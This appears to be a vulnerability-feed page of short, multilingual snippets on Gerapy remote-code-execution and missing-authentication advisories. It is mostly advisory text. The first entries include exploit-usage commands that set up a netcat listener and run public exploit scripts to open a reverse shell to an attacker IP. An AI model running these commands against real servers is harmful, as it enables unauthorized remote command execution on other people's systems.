CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 ポータルに管理者としてログイン 新しいプロジェクトを追加 sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 シェルを楽しむ...

cve-2021-32849

cve-2021-32849 cve-2021-32849 ejecución de comandos en Gerapy Uso Primero, abre un nc para escuchar y luego usa el exploit para atacar. root@kitploit: python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 ejecución de comandos en Gerapy Descargo de responsabilidad root@kitploit: El script es solo para fines de aprendizaje y referencia; no lo utilices para atacar sitios web de otras personas de forma malintencionada. Si se viola la ley o se cometen actos ilícitos, toda...

CVE-2021-43857

CVE-2021-43857 Gerapy 0.9.8 之前的版本存在远程代码执行漏洞。该问题已在 0.9.8 版本中修复。 CVE-2021-43857 是一个标记为严重优先级（CVSS 9.8）的漏洞，可导致远程代码执行。 该漏洞影响 0.9.8 之前的所有版本。 仅在 0.9.6 上测试过。需要正确的凭据。 该漏洞利用方式为：登录应用程序，然后获取已创建项目的列表（如果没有项目则会失败），接着利用项目设置运行易受攻击的 spider 机制，通过发送反向 Shell 载荷来实现。 使用示例： python3 cve-2021-43857.py -t 172.17.0.2 -p 800...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 認証済みRCE このリポジトリは、CVE-2021-43857 の概念実証エクスプロイトを含んでいます。これは Gerapy -p -L -P 必要条件 1. Python 3.x 2. requests と pyfiglet pip install requests pyfiglet 3. Netcat nc...

CVE-2026-16209

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209

Summary: CVE-2026-16209 affects Gerapy up to 0.9.13. The vulnerability is in an unknown function within gerapy/server/core/views.py, in the Project Upload Endpoint, causing missing authentication. It is a network-accessible issue that can be exploited remotely; the exploit is public. A patch iden...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

PT-2026-61043

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

Exploit for OS Command Injection in Gerapy

CVE-2021-43857-Gerapy-v0.9.7 - login to portal as admin - add...

EUVD-2020-0083

Malware in sbrugna...

EUVD-2022-0113

Malicious code in bioql PyPI...

CVE-2021-32849

Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds...

CVE-2021-43857

Gerapy is a distributed crawler management framework. Gerapy prior to version 0.9.8 is vulnerable to remote code execution, and this issue is patched in version 0.9.8...

VulnCheck KEV: CVE-2021-32849

Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds...

Exploit for OS Command Injection in Gerapy

CVE-2021-43857 CVE-2021-43857 Gerpy command execution...

Gerapy has unspecified vulnerabilities

Gerapy is a distributed crawler management framework based on Scrapy, Scrapyd, Django and Vue.js. A security vulnerability exists in Gerapy v 0.9.7, which stems from an access control vulnerability that can be caused by the spider parameter in the projectconfigure function. No details of the...

Remote Code Execution (RCE)

gerapy is vulnerable to remote code execution. An attacker can inject and execute malicious commands through the projectconfigure function of views.py...

GHSA-29VR-79W7-P649 Duplicate Advisory: Incorrect Authorization in Gerapy

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9w7f-m4j4-j3xw. This link is maintained to preserve external references. Original Description An Access Control vunerabiity exists in Gerapy v 0.9.7 via the spider parameter in projectconfigure function...